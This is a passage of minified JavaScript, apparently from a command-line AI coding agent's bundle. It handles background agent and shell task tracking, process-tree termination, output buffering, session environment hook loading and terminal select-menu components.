(${z.toolUseCount} tools, ${z.tokenCount} tokens)`:"";return Cp.createElement(S,null,Cp.createElement(V,{color:w},"[",q,"] ",Y,H))},renderOutput(A){return Cp.createElement(S,null,Cp.createElement(V,null,A))},getProgressMessage(A){let K=A,q=K.progress;if(!q)return null;let Y=q.toolUseCount-K.lastReportedToolCount,z=q.tokenCount-K.lastReportedTokenCount;if(Y===0&&z===0)return null;let w=[];if(Y>0)w.push(`${Y} new tool${Y>1?"s":""} used`);if(z>0)w.push(`${z} new tokens`);return`Agent ${A.id} progress: ${w.join(", ")}. The agent is still running. You usually do not need to read ${A.outputFile} unless you need specific details right away. You will receive a notification when the agent is done.`}};C_1=new Map});import{randomUUID as AyY}from"crypto";function qyY(){return`s${AyY().replace(/-/g,"").substring(0,6)}`}function ij7(A,K,q,Y){let z=qyY();HWA(z,Y$());let w=Y??e7(),H=kK(async()=>{K((X)=>{let{[z]:$,..._}=X.tasks;return{...X,tasks:_}})}),J=q??KyY,O={...oM(z,"local_agent",A),type:"local_agent",status:"running",agentId:z,prompt:A,selectedAgent:J,agentType:"main-session",abortController:w,unregisterCleanup:H,retrieved:!1,lastReportedToolCount:0,lastReportedTokenCount:0,isBackgrounded:!0};return h(`[LocalMainSessionTask] Registering task ${z} with description: ${A}`),aM(O,K),K((X)=>{let $=z in X.tasks;return h(`[LocalMainSessionTask] After registration, task ${z} exists in state: ${$}`),X}),{taskId:z,abortSignal:w.signal}}function lj7(A,K,q){let Y=!0;if(eY(A,q,(z)=>{if(z.status!=="running")return z;return Y=z.isBackgrounded??!0,z.unregisterCleanup?.(),{...z,status:K?"completed":"failed",endTime:Date.now()}}),Y)YyY(A,"Background session",K?"completed":"failed",q)}function YyY(A,K,q,Y){let z=q==="completed"?`Background session "${K}" completed`:`Background session "${K}" failed`,w=Ew(A),H=`<${g0}> <${oP}>${A}</${oP}> <${vR}>${w}</${vR}> <${WZ}>${q}</${WZ}> <${DZ}>${z}</${DZ}> </${g0}> Read the output file to retrieve the result: ${w}`;hG({value:H,mode:"task-notification"},Y),eY(A,Y,(J)=>({...J,notified:!0}))}function nj7(A,K){let q;return K((Y)=>{let z=Y.tasks[A];if(!z||z.type!=="local_agent")return Y;q=z.messages;let w=Y.foregroundedTaskId,H=w?Y.tasks[w]:void 0,J=w&&w!==A&&H?.type==="local_agent";return{...Y,foregroundedTaskId:A,tasks:{...Y.tasks,...J&&{[w]:{...H,isBackgrounded:!0}},[A]:{...z,isBackgrounded:!1}}}}),q}function rj7(A){if(typeof A!=="object"||A===null||!("type"in A)||!("agentType"in A))return!1;return A.type==="local_agent"&&A.agentType==="main-session"}function oj7(A,K,q,Y,z=[],w){(async()=>{try{let H=[...z],J=[],O=0,X=0;while(!0){if(w?.aborted){Y(H);return}let{done:$,value:_}=await A.next();if($)break;if(_.type==="user"||_.type==="assistant"||_.type==="system"){if(H.push(_),_.type==="assistant"){for(let G of _.message.content)if(G.type==="text")X+=Math.round(G.text.length/4);else if(G.type==="tool_use"){O++;let Z={toolName:G.name,input:G.input};if(J.push(Z),J.length>zyY)J.shift()}}q((G)=>{let Z=G.tasks[K];if(!Z||Z.type!=="local_agent")return G;return{...G,tasks:{...G.tasks,[K]:{...Z,progress:{tokenCount:X,toolUseCount:O,recentActivities:[...J]},messages:H}}}})}}Y(H),lj7(K,!0,q)}catch(H){KA(H instanceof Error?H:Error(String(H))),lj7(K,!1,q)}})()}var KyY,zyY=5;var R_1=k(()=>{lqA();rM();cI();Z1();C1();UK();Tf();R2();Jz();wz();KyY={agentType:"main-session",whenToUse:"Main session query",source:"userSettings",getSystemPrompt:()=>""}});function ra(A){return typeof A==="object"&&A!==null&&"type"in A&&A.type==="local_bash"}function $mA(A,K,q,Y,z){let w=!1;if(eY(A,z,(X)=>{if(X.notified)return X;return w=!0,{...X,notified:!0}}),!w)return;let H=q==="completed"?`completed${Y!==void 0?` (exit code ${Y})`:""}`:q==="failed"?`failed${Y!==void 0?` with exit code ${Y}`:""}`:"was killed",J=Ew(A),O=`<${g0}> <${oP}>${A}</${oP}> <${vR}>${J}</${vR}> <${WZ}>${q}</${WZ}> <${DZ}>Background command "${K}" ${H}</${DZ}> </${g0}> Read the output file to retrieve the result: ${J}`;hG({value:O,mode:"task-notification"},z)}function JP6(A,K){eY(A,K,(q)=>{if(q.status!=="running"||!ra(q))return q;try{h(`LocalBashTask ${A} kill requested`),q.shellCommand?.kill(),q.shellCommand?.cleanup()}catch(Y){KA(Y instanceof Error?Y:Error(String(Y)))}if(q.unregisterCleanup?.(),q.cleanupTimeoutId)clearTimeout(q.cleanupTimeoutId);return{...q,status:"killed",shellCommand:null,unregisterCleanup:void 0,cleanupTimeoutId:void 0,endTime:Date.now()}})}function aj7(A,K){let{command:q,description:Y,shellCommand:z}=A,w=Ep("local_bash");wWA(w);let H=kK(async()=>{JP6(w,K)}),J={...oM(w,"local_bash",Y),type:"local_bash",status:"running",command:q,completionStatusSentInAttachment:!1,shellCommand:z,unregisterCleanup:H,stdoutLineCount:0,stderrLineCount:0,lastReportedStdoutLines:0,lastReportedStderrLines:0,isBackgrounded:!1};return aM(J,K),w}function wyY(A,K,q){let z=K().tasks[A];if(!ra(z)||z.isBackgrounded||!z.shellCommand)return!1;let{shellCommand:w,description:H}=z,J=w.background(A);if(!J)return!1;return q((O)=>{let X=O.tasks[A];if(!ra(X)||X.isBackgrounded)return O;return{...O,tasks:{...O.tasks,[A]:{...X,isBackgrounded:!0}}}}),J.stdoutStream.on("data",(O)=>{let X=O.toString();cqA(A,X);let $=X.split(` `).filter((_)=>_.length>0).length;eY(A,q,(_)=>({..._,stdoutLineCount:_.stdoutLineCount+$}))}),J.stderrStream.on("data",(O)=>{let X=O.toString();cqA(A,`[stderr] ${X}`);let $=X.split(` `).filter((_)=>_.length>0).length;eY(A,q,(_)=>({..._,stderrLineCount:_.stderrLineCount+$}))}),w.result.then((O)=>{w.cleanup();let X=!1,$;if(eY(A,q,(_)=>{if(_.status==="killed")return X=!0,_;return $=_.unregisterCleanup,{..._,status:O.code===0?"completed":"failed",result:{code:O.code,interrupted:O.interrupted},shellCommand:null,unregisterCleanup:void 0,endTime:Date.now()}}),$?.(),X)$mA(A,H,"killed",O.code,q);else{let _=O.code===0?"completed":"failed";$mA(A,H,_,O.code,q)}}),!0}function sj7(A){return Object.values(A.tasks).some((K)=>{if(ra(K)&&!K.isBackgrounded&&K.shellCommand)return!0;if(na(K)&&!K.isBackgrounded&&!rj7(K))return!0;return!1})}function y_1(A,K){let q=A(),Y=Object.keys(q.tasks).filter((w)=>{let H=q.tasks[w];return ra(H)&&!H.isBackgrounded&&H.shellCommand});for(let w of Y)wyY(w,A,K);let z=Object.keys(q.tasks).filter((w)=>{let H=q.tasks[w];return na(H)&&!H.isBackgrounded});for(let w of z)dj7(w,A,K)}function tj7(A,K){let q;K((Y)=>{let z=Y.tasks[A];if(!ra(z)||z.isBackgrounded)return Y;q=z.unregisterCleanup;let{[A]:w,...H}=Y.tasks;return{...Y,tasks:H}}),q?.()}var Lp,$WA;var _WA=k(()=>{mA();lqA();R2();C1();Z1();Tf();cI();rM();XWA();R_1();wz();Lp=o($A(),1);$WA={name:"LocalBashTask",type:"local_bash",async spawn(A,K){let{command:q,description:Y,shellCommand:z}=A,{setAppState:w}=K,H=Ep("local_bash");wWA(H);let J=kK(async()=>{JP6(H,w)}),O={...oM(H,"local_bash",Y),type:"local_bash",status:"running",command:q,completionStatusSentInAttachment:!1,shellCommand:z,unregisterCleanup:J,stdoutLineCount:0,stderrLineCount:0,lastReportedStdoutLines:0,lastReportedStderrLines:0,isBackgrounded:!0};aM(O,w);let X=z.background(H);if(!X)return z.result.then(($)=>{z.cleanup();let _=$.code===0?"completed":"failed";eY(H,w,(G)=>({...G,status:_,result:{code:$.code,interrupted:$.interrupted},endTime:Date.now()})),$mA(H,Y,_,$.code,w)}),{taskId:H};return X.stdoutStream.on("data",($)=>{let _=$.toString();cqA(H,_);let G=_.split(` `).filter((Z)=>Z.length>0).length;eY(H,w,(Z)=>({...Z,stdoutLineCount:Z.stdoutLineCount+G}))}),X.stderrStream.on("data",($)=>{let _=$.toString();cqA(H,`[stderr] ${_}`);let G=_.split(` `).filter((Z)=>Z.length>0).length;eY(H,w,(Z)=>({...Z,stderrLineCount:Z.stderrLineCount+G}))}),z.result.then(($)=>{z.cleanup();let _=!1;if(eY(H,w,(G)=>{if(G.status==="killed")return _=!0,G;return{...G,status:$.code===0?"completed":"failed",result:{code:$.code,interrupted:$.interrupted},shellCommand:null,unregisterCleanup:void 0,endTime:Date.now()}}),_)$mA(H,Y,"killed",$.code,w);else{let G=$.code===0?"completed":"failed";$mA(H,Y,G,$.code,w)}}),{taskId:H,cleanup:()=>{J()}}},async kill(A,K){JP6(A,K.setAppState)},renderStatus(A){if(!ra(A))return null;let{status:K,command:q}=A;return Lp.createElement(S,null,Lp.createElement(V,{color:K==="running"?"warning":K==="completed"?"success":K==="failed"?"error":"inactive"},"[",K,"] ",q))},renderOutput(A){return Lp.createElement(S,null,Lp.createElement(V,null,A))},getProgressMessage(A){if(!ra(A))return null;let K=A.stdoutLineCount-A.lastReportedStdoutLines,q=A.stderrLineCount-A.lastReportedStderrLines;if(K===0&&q===0)return null;let Y=[];if(K>0)Y.push(`${K} line${K>1?"s":""} of stdout`);if(q>0)Y.push(`${q} line${q>1?"s":""} of stderr`);return`Background bash ${A.id} has new output: ${Y.join(", ")}. Read ${A.outputFile} to see output.`}}});var zM7=v((IzH,YM7)=>{var qM7=CA("child_process"),ej7=qM7.spawn,HyY=qM7.exec;YM7.exports=function(A,K,q){if(typeof K==="function"&&q===void 0)q=K,K=void 0;if(A=parseInt(A),Number.isNaN(A))if(q)return q(Error("pid must be a number"));else throw Error("pid must be a number");var Y={},z={};switch(Y[A]=[],z[A]=1,process.platform){case"win32":HyY("taskkill /pid "+A+" /T /F",q);break;case"darwin":OP6(A,Y,z,function(w){return ej7("pgrep",["-P",w])},function(){AM7(Y,K,q)});break;default:OP6(A,Y,z,function(w){return ej7("ps",["-o","pid","--no-headers","--ppid",w])},function(){AM7(Y,K,q)});break}};function AM7(A,K,q){var Y={};try{Object.keys(A).forEach(function(z){if(A[z].forEach(function(w){if(!Y[w])KM7(w,K),Y[w]=1}),!Y[z])KM7(z,K),Y[z]=1})}catch(z){if(q)return q(z);else throw z}if(q)return q()}function KM7(A,K){try{process.kill(parseInt(A,10),K)}catch(q){if(q.code!=="ESRCH")throw q}}function OP6(A,K,q,Y,z){var w=Y(A),H="";w.stdout.on("data",function(X){var X=X.toString("ascii");H+=X});var J=function(O){if(delete q[A],O!=0){if(Object.keys(q).length==0)z();return}H.match(/\d+/g).forEach(function(X){X=parseInt(X,10),K[A].push(X),K[X]=[],q[X]=1,OP6(X,K,q,Y,z)})};w.on("close",J)}});class _mA{capacity;buffer;head=0;size=0;constructor(A){this.capacity=A;this.buffer=Array(A)}add(A){if(this.buffer[this.head]=A,this.head=(this.head+1)%this.capacity,this.size<this.capacity)this.size++}addAll(A){for(let K of A)this.add(K)}getRecent(A){let K=[],q=this.size<this.capacity?0:this.head,Y=Math.min(A,this.size);for(let z=0;z<Y;z++){let w=(q+this.size-Y+z)%this.capacity;K.push(this.buffer[w])}return K}toArray(){if(this.size===0)return[];let A=[],K=this.size<this.capacity?0:this.head;for(let q=0;q<this.size;q++){let Y=(K+q)%this.capacity;A.push(this.buffer[Y])}return A}clear(){this.head=0,this.size=0}length(){return this.size}}function oa(A){return A.replace(/[0-9]/g,(K)=>String.fromCharCode(K.charCodeAt(0)-65248))}function XP6(A,K=",",q=wM7){let z="";for(let w of A){let H=z?K:"",J=H+w;if(z.length+J.length<=q)z+=J;else{let O=q-z.length-H.length-14;if(O>0)z+=H+w.slice(0,O)+"...[truncated]";else z+="...[truncated]";return z}}return z}class GWA{maxSize;content="";isTruncated=!1;totalBytesReceived=0;constructor(A=wM7){this.maxSize=A}append(A){let K=typeof A==="string"?A:A.toString();if(this.totalBytesReceived+=K.length,this.isTruncated&&this.content.length>=this.maxSize)return;if(this.content.length+K.length>this.maxSize){let q=this.maxSize-this.content.length;if(q>0)this.content+=K.slice(0,q);this.isTruncated=!0}else this.content+=K}toString(){if(!this.isTruncated)return this.content;let A=this.totalBytesReceived-this.maxSize,K=Math.round(A/1024);return this.content+` ... [output truncated - ${K}KB removed]`}clear(){this.content="",this.isTruncated=!1,this.totalBytesReceived=0}get length(){return this.content.length}get truncated(){return this.isTruncated}get totalBytes(){return this.totalBytesReceived}}function HM7(A,K){let q=A.split(` `);if(q.length<=K)return A;return q.slice(0,K).join(` `)+"…"}var wM7=67108736;import{PassThrough as JyY}from"stream";class _M7{#A;#K=null;#q=!1;#z;#Y=this.#w.bind(this);#J;constructor(A,K){this.#J=K,this.#A=A,this.#z=new GWA,this.#A.setEncoding("utf-8"),this.#A.on("data",this.#Y)}#w(A){let K=this.#K,q=this.#J;if(q)q(A);if(K)K.write(A);else this.#z.append(A)}get(){return this.#z.toString()}asStream(){if(this.#K)return this.#K;let A=this.#K=new JyY({highWaterMark:10485760});return A.on("error",function(){}),A.write(this.get()),this.#z.clear(),A}cleanup(){if(this.#q)return;if(this.#J=null,this.#q=!0,this.#A.removeListener("data",this.#Y),this.#Y=()=>{},this.#K&&!this.#K.destroyed)this.#K.end();this.#z.clear()}}class GM7{#A=new _mA(1000);#K=0;#q;constructor(A){this.#q=A}handleData(A){let q=A.toString().split(` `).filter((z)=>z.trim());this.#A.addAll(q),this.#K+=q.length;let Y=this.#A.getRecent(5);if(Y.length>0)this.#q(XP6(Y,` `),XP6(this.#A.getRecent(100),` `),this.#K)}}function XM7(A,K){return new _M7(A,K)}class $P6{#A="running";#K;#q;#z;#Y;#J=null;#w;#X;#$;#O;#H=null;#G=null;#D=null;static#j(A){if(A.#O&&A.#X)A.#X(A.background.bind(A));else A.#M(OM7)}result;onTimeout;constructor(A,K,q,Y,z=!1){this.#Y=A,this.#w=K,this.#$=q,this.#O=z;let w=this.#Z(Y);if(this.#q=XM7(A.stdout,w),this.#z=XM7(A.stderr,w),z)this.onTimeout=(H)=>{this.#X=H};this.result=this.#T()}get status(){return this.#A}#Z(A){if(!A)return null;let K=new GM7(A);return K.handleData.bind(K)}#f(){this.kill()}#W(A,K){let q=A!==null&&A!==void 0?A:K==="SIGTERM"?144:1;this.#V(q)}#N(){this.#V(1)}#V(A){if(this.#G)this.#G(A),this.#G=null}#P(){let A=this.#J;if(A)clearTimeout(A),this.#J=null;let K=this.#D;if(K)this.#w.removeEventListener("abort",K),this.#D=null}#T(){this.#D=this.#f.bind(this),this.#w.addEventListener("abort",this.#D,{once:!0}),this.#Y.once("exit",this.#W.bind(this)),this.#Y.once("error",this.#N.bind(this)),this.#J=setTimeout($P6.#j,this.#$,this);let A=new Promise((K)=>{this.#G=K});return new Promise((K)=>{this.#H=K,A.then(this.#E.bind(this))})}#E(A){if(this.#P(),this.#A==="running"||this.#A==="backgrounded")this.#A="completed";let K={code:A,stdout:this.#q.get(),stderr:this.#z.get(),interrupted:A===JM7,backgroundTaskId:this.#K};if(A===OM7)K.stderr=[`Command timed out after ${$O(this.#$)}`,K.stderr].filter(Boolean).join(" ");let q=this.#H;if(q)this.#H=null,q(K)}#M(A){if(this.#A="killed",this.#Y.pid)$M7.default(this.#Y.pid,"SIGKILL");this.#V(A??JM7)}kill(){this.#M()}background(A){if(this.#A==="running")return this.#K=A,this.#A="backgrounded",this.#P(),{stdoutStream:this.#q.asStream(),stderrStream:this.#z.asStream()};return null}cleanup(){this.#q.cleanup(),this.#z.cleanup()}}function I_1(A,K,q,Y,z=!1){return new $P6(A,K,q,Y,z)}class ZM7{status="killed";result;constructor(A){this.result=Promise.resolve({code:145,stdout:"",stderr:"Command aborted before execution",interrupted:!0,backgroundTaskId:A})}background(){return null}kill(){}cleanup(){}}function WM7(A){return new ZM7(A)}var $M7,JM7=137,OM7=143;var _P6=k(()=>{$M7=o(zM7(),1)});function S_1(A,K){let q=A.lastIndexOf(" -");if(q>0){let Y=A.substring(0,q),z=A.substring(q+1);return`${R4([Y])} ${z} ${R4([K])}`}else return`${R4([A])} ${R4([K])}`}var GP6=k(()=>{gO()});import{readFileSync as DM7,existsSync as jM7,mkdirSync as OyY,readdirSync as XyY}from"node:fs";import{join as ZP6}from"node:path";function MM7(){let A=ZP6(w8(),"session-env",d1());return OyY(A,{recursive:!0}),A}function PM7(A,K){let q=A.toLowerCase();return ZP6(MM7(),`${q}-hook-${K}.sh`)}function VM7(){h("Invalidating session environment cache"),aa=void 0}function fM7(){if(o6()==="windows")return h("Session environment not yet supported on Windows"),null;if(aa!==void 0)return aa;let A=[],K=process.env.CLAUDE_ENV_FILE;if(K&&jM7(K))try{let Y=DM7(K,"utf8").trim();if(Y)A.push(Y),h(`Session environment loaded from CLAUDE_ENV_FILE: ${K} (${Y.length} chars)`)}catch(Y){h(`Failed to read CLAUDE_ENV_FILE: ${Y instanceof Error?Y.message:String(Y)}`)}let q=MM7();if(jM7(q))try{let z=XyY(q).filter((w)=>w.match(/^(setup|sessionstart)-hook-\d+\.sh$/)).sort((w,H)=>{let J=w.match(/^(setup|sessionstart)-hook-(\d+)\.sh$/),O=H.match(/^(setup|sessionstart)-hook-(\d+)\.sh$/),X=J?.[1]||"",$=O?.[1]||"";if(X!==$)return X==="setup"?-1:1;let _=parseInt(J?.[2]||"0",10),G=parseInt(O?.[2]||"0",10);return _-G});for(let w of z){let H=ZP6(q,w),J=DM7(H,"utf8").trim();if(J)A.push(J)}if(z.length>0)h(`Session environment loaded from ${z.length} hook file(s)`)}catch(Y){h(`Failed to load session environment from hooks: ${Y instanceof Error?Y.message:String(Y)}`)}if(A.length===0)return h("No session environment scripts found"),aa=null,aa;return aa=A.join(` `),h(`Session environment script ready (${aa.length} chars total)`),aa}var aa=void 0;var h_1=k(()=>{Z1();B5();l6();q6()});function b_1(A){let K=s(29),{isFocused:q,isSelected:Y,children:z,description:w,showScrollDown:H,showScrollUp:J,styled:O,disabled:X}=A,$=Y===void 0?!1:Y,_=O===void 0?!0:O,G=X===void 0?!1:X,Z;if(K[0]!==G||K[1]!==q||K[2]!==H||K[3]!==J)Z=function(){if(G)return iC.default.createElement(V,null," ");if(q)return iC.default.createElement(V,{color:"suggestion"},eA.pointer);if(H)return iC.default.createElement(V,{dimColor:!0},eA.arrowDown);if(J)return iC.default.createElement(V,{dimColor:!0},eA.arrowUp);return iC.default.createElement(V,null," ")},K[0]=G,K[1]=q,K[2]=H,K[3]=J,K[4]=Z;else Z=K[4];let W=Z,D;if(K[5]!==G||K[6]!==q||K[7]!==$||K[8]!==_)D=function(){if(G)return"inactive";if(!_)return;if($)return"success";if(q)return"suggestion"}(),K[5]=G,K[6]=q,K[7]=$,K[8]=_,K[9]=D;else D=K[9];let j=D,M;if(K[10]!==W)M=W(),K[10]=W,K[11]=M;else M=K[11];let P;if(K[12]!==z||K[13]!==G||K[14]!==_||K[15]!==j)P=_?iC.default.createElement(V,{color:j,dimColor:G},z):z,K[12]=z,K[13]=G,K[14]=_,K[15]=j,K[16]=P;else P=K[16];let f;if(K[17]!==G||K[18]!==$)f=$&&!G&&iC.default.createElement(V,{color:"success"},eA.tick),K[17]=G,K[18]=$,K[19]=f;else f=K[19];let N;if(K[20]!==M||K[21]!==P||K[22]!==f)N=iC.default.createElement(S,{flexDirection:"row",gap:1},M,P,f),K[20]=M,K[21]=P,K[22]=f,K[23]=N;else N=K[23];let T;if(K[24]!==w)T=w&&iC.default.createElement(S,{paddingLeft:2},iC.default.createElement(V,{color:"inactive"},w)),K[24]=w,K[25]=T;else T=K[25];let C;if(K[26]!==T||K[27]!==N)C=iC.default.createElement(S,{flexDirection:"column"},N,T),K[26]=T,K[27]=N,K[28]=C;else C=K[28];return C}var iC;var WP6=k(()=>{cA();mA();g4();iC=o($A(),1)});function sa(A){let K=s(7),{isFocused:q,isSelected:Y,children:z,description:w,shouldShowDownArrow:H,shouldShowUpArrow:J}=A,O;if(K[0]!==z||K[1]!==w||K[2]!==q||K[3]!==Y||K[4]!==H||K[5]!==J)O=NM7.default.createElement(b_1,{isFocused:q,isSelected:Y,description:w,showScrollDown:H,showScrollUp:J,styled:!1},z),K[0]=z,K[1]=w,K[2]=q,K[3]=Y,K[4]=H,K[5]=J,K[6]=O;else O=K[6];return O}var NM7;var x_1=k(()=>{cA();WP6();NM7=o($A(),1)});var u_1;var TM7=k(()=>{u_1=class u_1 extends Map{first;last;constructor(A){let K=[],q,Y,z,w=0;for(let H of A){let J={label:H.label,value:H.value,description:H.description,previous:z,next:void 0,index:w};if(z)z.next=J;q||=J,Y=J,K.push([H.value,J]),w++,z=J}super(K);this.first=q,this.last=Y}}});import{isDeepStrictEqual as $yY}from"node:util";function B_1({visibleOptionCount:A=5,options:K,initialFocusValue:q,onFocus:Y,focusValue:z}){let[w,H]=P$.useReducer(_yY,{visibleOptionCount:A,options:K,initialFocusValue:z||q},vM7),J=P$.useRef(Y);J.current=Y;let[O,X]=P$.useState(K);if(K!==O&&!$yY(K,O))H({type:"reset",state:vM7({visibleOptionCount:A,options:K,initialFocusValue:z??w.focusedValue??q,currentViewport:{visibleFromIndex:w.visibleFromIndex,visibleToIndex:w.visibleToIndex}})}),X(K);let $=P$.useCallback(()=>{H({type:"focus-next-option"})},[]),_=P$.useCallback(()=>{H({type:"focus-previous-option"})},[]),G=P$.useCallback(()=>{H({type:"focus-next-page"})},[]),Z=P$.useCallback(()=>{H({type:"focus-previous-page"})},[]),W=P$.useCallback((f)=>{if(f!==void 0)H({type:"set-focus",value:f})},[]),D=P$.useMemo(()=>{return K.map((f,N)=>({...f,index:N})).slice(w.visibleFromIndex,w.visibleToIndex)},[K,w.visibleFromIndex,w.visibleToIndex]),j=P$.useMemo(()=>{if(w.focusedValue===void 0)return;if(K.some((N)=>N.value===w.focusedValue))return w.focusedValue;return K[0]?.value},[w.focusedValue,K]),M=P$.useMemo(()=>{return K.find((N)=>N.value===j)?.type==="input"},[j,K]);P$.useEffect(()=>{if(j!==void 0)J.current?.(j)},[j]),P$.useEffect(()=>{if(z!==void 0)H({type:"set-focus",value:z})},[z]);let P=P$.useMemo(()=>{if(j===void 0)return 0;let f=K.findIndex((N)=>N.value===j);return f>=0?f+1:0},[j,K]);return{focusedValue:j,focusedIndex:P,visibleFromIndex:w.visibleFromIndex,visibleToIndex:w.visibleToIndex,visibleOptions:D,isInInput:M??!1,focusNextOption:$,focusPreviousOption:_,focusNextPage:G,focusPreviousPage:Z,focusOption:W,options:K}}var P$,_yY=(A,K)=>{switch(K.type){case"focus-next-option":{if(A.focusedValue===void 0)return A;let q=A.optionMap.get(A.focusedValue);if(!q)return A;let Y=q.next||A.optionMap.first;if(!Y)return A;if(!q.next&&Y===A.optionMap.first)return{...A,focusedValue:Y.value,visibleFromIndex:0,visibleToIndex:A.visibleOptionCount};if(!(Y.index>=A.visibleToIndex))return{...A,focusedValue:Y.value};let w=Math.min(A.optionMap.size,A.visibleToIndex+1),H=w-A.visibleOptionCount;return{...A,focusedValue:Y.value,visibleFromIndex:H,visibleToIndex:w}}case"focus-previous-option":{if(A.focusedValue===void 0)return A;let q=A.optionMap.get(A.focusedValue);if(!q)return A;let Y=q.previous||A.optionMap.last;if(!Y)return A;if(!q.previous&&Y===A.optionMap.last){let J=A.optionMap.size,O=Math.max(0,J-A.visibleOptionCount);return{...A,focusedValue:Y.value,visibleFromIndex:O,visibleToIndex:J}}if(!(Y.index<=A.visibleFromIndex))return{...A,focusedValue:Y.value};let w=Math.max(0,A.visibleFromIndex-1),H=w+A.visibleOptionCount;return{...A,focusedValue:Y.value,visibleFromIndex:w,visibleToIndex:H}}case"focus-next-page":{if(A.focusedValue===void 0)return A;let q=A.optionMap.get(A.focusedValue);if(!q)return A;let Y=Math.min(A.optionMap.size-1,q.index+A.visibleOptionCount),z=A.optionMap.first;while(z&&z.index<Y)if(z.next)z=z.next;else break;if(!z)return A;let w=Math.min(A.optionMap.size,z.index+1),H=Math.max(0,w-A.visibleOptionCount);return{...A,focusedValue:z.value,visibleFromIndex:H,visibleToIndex:w}}case"focus-previous-page":{if(A.focusedValue===void 0)return A;let q=A.optionMap.get(A.focusedValue);if(!q)return A;let Y=Math.max(0,q.index-A.visibleOptionCount),z=A.optionMap.first;while(z&&z.index<Y)if(z.next)z=z.next;else break;if(!z)return A;let w=Math.max(0,z.index),H=Math.min(A.optionMap.size,w+A.visibleOptionCount);return{...A,focusedValue:z.value,visibleFromIndex:w,visibleToIndex:H}}case"reset":return K.state;case"set-focus":{if(A.focusedValue===K.value)return A;let q=A.optionMap.get(K.value);if(!q)return A;if(q.index>=A.visibleFromIndex&&q.index<A.visibleToIndex)return{...A,focusedValue:K.value};let Y,z;if(q.index<A.visibleFromIndex)Y=q.index,z=Math.min(A.optionMap.size,Y+A.visibleOptionCount);else z=Math.min(A.optionMap.size,q.index+1),Y=Math.max(0,z-A.visibleOptionCount);return{...A,focusedValue:K.value,visibleFromIndex:Y,visibleToIndex:z}}}},vM7=({visibleOptionCount:A,options:K,initialFocusValue:q,currentViewport:Y})=>{let z=typeof A==="number"?Math.min(A,K.length):K.length,w=new u_1(K),H=q!==void 0&&w.get(q),J=H?q:w.first?.value,O=0,X=z;if(H){let $=H.index;if(Y)if($>=Y.visibleFromIndex&&$<Y.visibleToIndex)O=Y.visibleFromIndex,X=Math.min(w.size,Y.visibleToIndex);else if($<Y.visibleFromIndex)O=$,X=Math.min(w.size,O+z);else X=Math.min(w.size,$+1),O=Math.max(0,X-z);else if($>=z)X=Math.min(w.size,$+1),O=Math.max(0,X-z);O=Math.max(0,Math.min(O,w.size-1)),X=Math.min(w.size,Math.max(z,X))}return{optionMap:w,visibleOptionCount:z,focusedValue:J,visibleFromIndex:O,visibleToIndex:X}};var DP6=k(()=>{TM7();P$=o($A(),1)});function EM7({visibleOptionCount:A=5,options:K,defaultValue:q,onChange:Y,onCancel:z,onFocus:w,focusValue:H}){let[J,O]=m_1.useState(q),X=B_1({visibleOptionCount:A,options:K,initialFocusValue:void 0,onFocus:w,focusValue:H}),$=m_1.useCallback(()=>{O(X.focusedValue)},[X.focusedValue]);return{...X,value:J,selectFocusedOption:$,onChange:Y,onCancel:z}}var m_1;var kM7=k(()=>{DP6();m_1=o($A(),1)});function CM7(){jP6.forEach((A)=>A())}function LM7(A){return jP6.add(A),()=>{jP6.delete(A)}}function GyY(){return g_1.size>0}function WyY(){for(let A of g_1)if(!ZyY.has(A))return!0;return!1}function nC(A,K){let q=s(4),Y=K===void 0?!0:K,z,w;if(q[0]!==Y||q[1]!==A)z=()=>{if(!Y)return;return g_1.add(A),CM7(),()=>{g_1.delete(A),CM7()}},w=[A,Y],q[0]=Y,q[1]=A,q[2]=z,q[3]=w;else z=q[2],w=q[3];GmA.useEffect(z,w)}function RM7(){return GmA.useSyncExternalStore(LM7,GyY)}function ZWA(){return GmA.useSyncExternalStore(LM7,WyY)}var GmA,g_1,jP6,ZyY;var _B=k(()=>{cA();GmA=o($A(),1),g_1=new Set,jP6=new Set;ZyY=new Set(["autocomplete"])});var MP6,yM7=({isDisabled:A=!1,disableSelection:K=!1,state:q,options:Y,isMultiSelect:z=!1,onUpFromFirstItem:w,onDownFromLastItem:H,onInputModeToggle:J,inputValues:O})=>{nC("select",!!q.onCancel);let X=MP6.useMemo(()=>{return Y.find((G)=>G.value===q.focusedValue)?.type==="input"},[Y,q.focusedValue]),$=MP6.useMemo(()=>{let _={};if(!X)_["select:next"]=()=>{if(H){let G=Y[Y.length-1];if(G&&q.focusedValue===G.value){H();return}}q.focusNextOption()},_["select:previous"]=()=>{if(w&&q.visibleFromIndex===0){let G=Y[0];if(G&&q.focusedValue===G.value){w();return}}q.focusPreviousOption()},_["select:accept"]=()=>{if(K===!0)return;if(q.focusedValue===void 0)return;if(Y.find((Z)=>Z.value===q.focusedValue)?.disabled===!0)return;q.selectFocusedOption?.(),q.onChange?.(q.focusedValue)};if(q.onCancel)_["select:cancel"]=()=>{q.onCancel()};return _},[Y,q,H,w,X,K]);s4($,{context:"Select",isActive:!A}),K8((_,G,Z)=>{let W=oa(_),D=Y.find((M)=>M.value===q.focusedValue),j=D?.type==="input";if(G.tab&&J&&q.focusedValue!==void 0){J(q.focusedValue);return}if(j){if(G.downArrow||G.ctrl&&_==="n"){if(H){let M=Y[Y.length-1];if(M&&q.focusedValue===M.value){H(),Z.stopImmediatePropagation();return}}q.focusNextOption(),Z.stopImmediatePropagation();return}if(G.upArrow||G.ctrl&&_==="p"){if(w&&q.visibleFromIndex===0){let M=Y[0];if(M&&q.focusedValue===M.value){w(),Z.stopImmediatePropagation();return}}q.focusPreviousOption(),Z.stopImmediatePropagation();return}if(/^[0-9]$/.test(W)&&D?.type==="input"){if((O?.get(q.focusedValue)??"").trim())return}else return}if(G.pageDown)q.focusNextPage();if(G.pageUp)q.focusPreviousPage();if(K!==!0){if(z&&_===" "&&q.focusedValue!==void 0){if(D?.disabled!==!0)q.selectFocusedOption?.(),q.onChange?.(q.focusedValue)}if(K!=="numeric"&&/^[0-9]+$/.test(W)){let M=parseInt(W)-1;if(M>=0&&M<q.options.length){let P=q.options[M];if(P.disabled===!0)return;if(P.type==="input"){let f=O?.get(P.value)??"";if(P.allowEmptySubmitToCancel&&!f.trim()){q.onChange?.(P.value);return}q.focusOption(P.value);return}q.onChange?.(P.value);return}}}},{isActive:!A})};var IM7=k(()=>{mA();_B();C8();MP6=o($A(),1)});function WWA(A){let 